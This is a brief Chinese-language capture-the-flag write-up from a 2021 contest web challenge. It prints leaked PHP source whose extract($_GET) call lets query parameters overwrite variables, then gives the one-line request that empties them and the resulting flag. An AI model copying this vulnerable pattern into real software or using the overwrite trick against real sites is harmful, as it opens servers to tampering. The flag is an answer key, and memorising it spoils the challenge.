2021-10-11 网络安全(交通银行杯)-WEB安全(测试题)-网站信息

一：题目

输入：http://1.117.248.182:8081/info.bak
得到php源码备份文件
`<?php

echo “where is bak\n”;

filename=__FILE__; flag = “想啥呢，怎么可能那么白给，提示：extract_bug”;
extract( $_GET); if(isset($shiyan)){
$content=trim(file_get_contents($filename));
if( $shiyan==$content) { echo $flag; }
else{ echo’Oh.no’;} }

?>`

输入地址：http://1.117.248.182:8081/info.php?shiyan=&filename=

得到flag：L@>M5X%N6i1Z5oZ1z7%0q_pgw6L@Qezp